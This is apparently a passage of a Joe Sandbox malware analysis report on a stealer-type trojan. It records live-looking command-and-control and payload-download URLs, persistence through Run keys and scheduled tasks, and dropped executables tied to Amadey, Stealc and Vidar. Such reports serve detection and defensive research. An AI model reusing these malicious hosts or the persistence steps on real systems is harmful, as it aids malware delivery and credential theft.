https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001C.00000003.3146871506.000001F34BCD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3248690664.0000011C76EC6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://127.0.0.1:	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://31.41.244.11/files/unique2/random.exeedu	skotes.exe, 0000000D.00000002.3461057569.0000000001614000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 0000001C.00000003.3165671808.000001F34A571000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpD	1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://content.cdn.mozilla.net	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 0000000D.00000002.3461057569.000000000167F000.00000004.00000020.00020000.00000000.sdmp, random[2].exe.13.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpE	1c49dbdc29.exe, 0000001E.00000002.3141461580.0000000001986000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/microsoft/TypeScript/issues/338).	firefox.exe, 0000001C.00000003.3133373724.000001F352EBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3128031293.000001F352EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3122183321.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3102334419.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpI	1c49dbdc29.exe, 0000001E.00000002.3141461580.0000000001986000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight	firefox.exe, 0000001C.00000003.3176989775.000001F34A834000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php524001	skotes.exe, 0000000D.00000002.3461057569.000000000167F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/encoxx/random.exe	skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.3461057569.00000000015B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://spocs.getpocket.com/	firefox.exe, 0000001F.00000002.3248690664.0000011C76E03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpIGb	1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of	firefox.exe, 0000001C.00000003.3133373724.000001F352EBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3128031293.000001F352EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3122183321.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3102334419.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dap-02.api.divviup.org	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).	firefox.exe, 0000001C.00000003.3133373724.000001F352EBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3128031293.000001F352EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3122183321.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3102334419.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	firefox.exe, 0000001D.00000002.3250484093.0000021EDA4C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3248690664.0000011C76EEA000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.28.dr	false		high
https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://31.41.244.11/files/unique2/random.exe	skotes.exe, 0000000D.00000002.3461057569.0000000001614000.00000004.00000020.00020000.00000000.sdmp	false		high
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://token.services.mozilla.com/1.0/sync/1.5	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
142.250.181.110	youtube.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574083
Start date and time:	2024-12-12 21:48:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	53
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@72/31@59/11
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 35.85.93.176, 54.213.181.160, 44.228.225.150, 172.217.19.206, 64.233.164.84, 142.250.181.99, 172.217.17.46, 172.217.17.67, 216.58.208.234, 172.217.19.202, 172.217.17.42, 172.217.19.234, 142.250.181.106, 142.250.181.74, 172.217.17.74, 172.217.19.10, 142.250.181.138, 142.250.181.42, 172.217.19.170, 142.250.181.10, 172.217.21.42, 204.79.197.203, 204.79.197.239, 13.107.21.239, 172.217.17.78, 13.107.6.158, 172.165.69.228, 2.19.126.145, 2.19.126.152, 40.126.53.17, 20.223.35.26, 13.107.246.63, 2.16.158.56, 52.149.20.212, 150.171.27.10, 2.16.158.72, 23.218.208.109, 94.245.104.56, 52.123.243.177
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, config.edge.skype.com.trafficmanager.net, slscr.update.microsoft.com, a416.dscd.akamai.net, incoming.telemetry.mozilla.org, tse1.mm.bing.net, clientservices.googleapis.com, g.bing.com, aus5.mozilla.org, arc.msn.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, login.live.com, ocsp.edge.digicert.com, www.gstatic.com, config.edge.skype.com, optimizationguide-pa.googleapis.com, www.bing.com, edge-microsoft-com.dual-a-0036.a-msedge.net, client.wns.windows.com, fs.microsoft.com, shavar.prod.mozaws.net, accounts.google.com, bingadsedgeextension-prod.trafficmanager.net, bzib.nelreports.net.akamaized.net, otelrules.azureedge.net, api.edgeoffer.microsoft.com, a-0003.a-msedge.net, ctldl.windowsupdate.com, ogads-pa.googleapis.com, detectportal.prod.mozaws.net, www-msn-com.a-0003.a-msedge.net, b-0005.b-msedge.net, prod-atm-wds-edge.trafficmanager.net, edge.microsoft.com, business-bi
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
15:50:01	API Interceptor	961x Sleep call for process: skotes.exe modified
15:50:44	API Interceptor	128x Sleep call for process: cfeb78330e.exe modified
15:50:47	API Interceptor	5x Sleep call for process: 1c49dbdc29.exe modified
21:49:07	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
21:50:25	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run d71513cd6d.exe C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe
21:50:34	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 1c49dbdc29.exe C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe
21:50:43	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 93ee6c8e33.exe C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe
21:50:53	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run d71513cd6d.exe C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe
21:51:05	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 1c49dbdc29.exe C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe
21:51:10	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
21:51:15	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 93ee6c8e33.exe C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	ZzS8KjNjr7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	Szi2WJUKmv.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	PGkSZbFKmI.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	FAz4V7wbYU.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	yiDQb6GkBq.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
34.117.188.166	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
plus.l.google.com	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	142.250.201.46
	https://usps.com-blkr.top/us/	Get hash	malicious	Unknown	Browse	142.250.181.46
	https://dashboard.sizle.io/p/f7c9cdf19	Get hash	malicious	HTMLPhisher	Browse	142.250.181.46
	file.exe	Get hash	malicious	Vidar	Browse	172.217.17.78
	https://cargalia.com/o/?c3Y9bzM2NV8xX29uZSZyYW5kPWVFczJZems9JnVpZD1VU0VSMjkxMTIwMjRVNDYxMTI5NTU=N0123N	Get hash	malicious	Unknown	Browse	142.250.181.46
	https://feji.us/m266he	Get hash	malicious	Unknown	Browse	172.217.19.206
	http://eon.keit.re.kr/WEOMTRACK.html?CPKN=O&CPSQ=88327186&CPSC=0&CPID=16122900000005&CPMEM=MTAwMDkwODg=&CLID=006&CLKN=CL&CPCED=20171231&DRTMF=5&DRTMT=60&URL=https://ncbx.qantumleap.ru/ejjH4o7kVaWIANfJxQHdbgws_rV8/	Get hash	malicious	Unknown	Browse	172.217.17.46
	https://hdtodayz.to/movie/watch-the-shawshank-redemption-hd-19679	Get hash	malicious	HTMLPhisher	Browse	172.217.17.78
	http://balmyrind.com/	Get hash	malicious	Unknown	Browse	172.217.17.78
	CcIlKT6XdC.exe	Get hash	malicious	Amadey, PureLog Stealer, Stealc, Vidar	Browse	172.217.17.78
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	33abb.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	56ff7c.msi	Get hash	malicious	Unknown	Browse	162.159.61.3
	57ff67.msi	Get hash	malicious	Unknown	Browse	162.159.61.3
	setup (2).msi	Get hash	malicious	Unknown	Browse	162.159.61.3
	setup.msi	Get hash	malicious	Unknown	Browse	162.159.61.3
	Non_disclosure_agreement.lnk.download.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	Document.lnk.download.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	Nieuwebestellingen10122024.exe	Get hash	malicious	FormBook	Browse	172.64.41.3
mira-tmc.tm-4.office.com	510005940.docx.doc	Get hash	malicious	Unknown	Browse	52.123.243.184
	OrderSheet.xla.xlsx	Get hash	malicious	Unknown	Browse	52.123.243.178
	TRANSFERENCIA COMPROBANTES.lnk	Get hash	malicious	XenoRAT	Browse	52.123.243.181
	List of required items.vbs	Get hash	malicious	Unknown	Browse	52.123.243.179
	K0Szg26cRh.doc	Get hash	malicious	Unknown	Browse	52.123.243.180
	Note no. ROC 2453-2024.doc	Get hash	malicious	Unknown	Browse	52.123.243.181
	https://trinasolarus-my.sharepoint.com/:f:/g/personal/matt_hutchison_trinasolar_com/EuTm6V8CKxFPmV0-8tDYkU8B7bgg8BNpE1Urptg3NNJsZw?e=bQub2M	Get hash	malicious	Unknown	Browse	52.123.243.183
	MdDRzxozMD.xlsx	Get hash	malicious	Unknown	Browse	52.123.243.183
	NEW ORDER #233.xlam.xlsx	Get hash	malicious	Unknown	Browse	52.123.243.178
	Citation(1).docx	Get hash	malicious	Unknown	Browse	52.123.243.177

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.206
	fWAr4zGUkY.exe	Get hash	malicious	Remcos, Amadey, Stealc	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.206
	fWAr4zGUkY.exe	Get hash	malicious	Remcos, Amadey, Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse
	yiDQb6GkBq.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\93ee6c8e33.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1804800
Entropy (8bit):	7.945787468265426
Encrypted:	false
SSDEEP:	49152:UsDSS5e2yvjlGGnnFEDtp4xrpcJdXhv22mDiEo:Bbhy5gt6ruJdXhuW
MD5:	36CE95040ED17E3C4CCF84EF67666738
SHA1:	6BD06628EB201FB91F20E3905BBF1F052BAB16C5
SHA-256:	888781CACEC83EAE2A8EA38778DC47D6787EF7BF54F6E05122B9C75A9349C84B
SHA-512:	3ED7C233E6F90ECD461073DB2E80E321416CDC1DA6C6C3295FF321357084F6AD1232BD537D715B8CA979177287B19A7EFCA9D804060682BB559055C9239E0E7D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(.......0i...........@..........................`i...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... .p*...$......\|..............@...bpqkjsvj.....0O......~..............@...nfefccxc..... i......d..............@....taggant.0...0i.."...h..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	393728
Entropy (8bit):	6.004737079894222
Encrypted:	false
SSDEEP:	6144:sb3tLc1aQEo7F8Ci7oUPI13oxfys0geKPVMd5:uto1moSCi8RGBr7zVi
MD5:	DFD5F78A711FA92337010ECC028470B4
SHA1:	1A389091178F2BE8CE486CD860DE16263F8E902E
SHA-256:	DA96F2EB74E60DE791961EF3800C36A5E12202FE97AE5D2FCFC1FE404BC13C0D
SHA-512:	A3673074919039A2DC854B0F91D1E1A69724056594E33559741F53594E0F6E61E3D99EC664D541B17F09FFDEBC2DE1B042EEC19CA8477FAC86359C703F8C9656
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: yiDQb6GkBq.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........'..F...F...F.......F.......F.......F.....F...F...F.......F.......F.......F..Rich.F..........PE..L....f.e.................b...........Q............@...........................$.............................................8g..d....0...:...........................................................-..@............................................text....a.......b.................. ..`.data............`...f..............@....rsrc....z...0...<..................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Download File

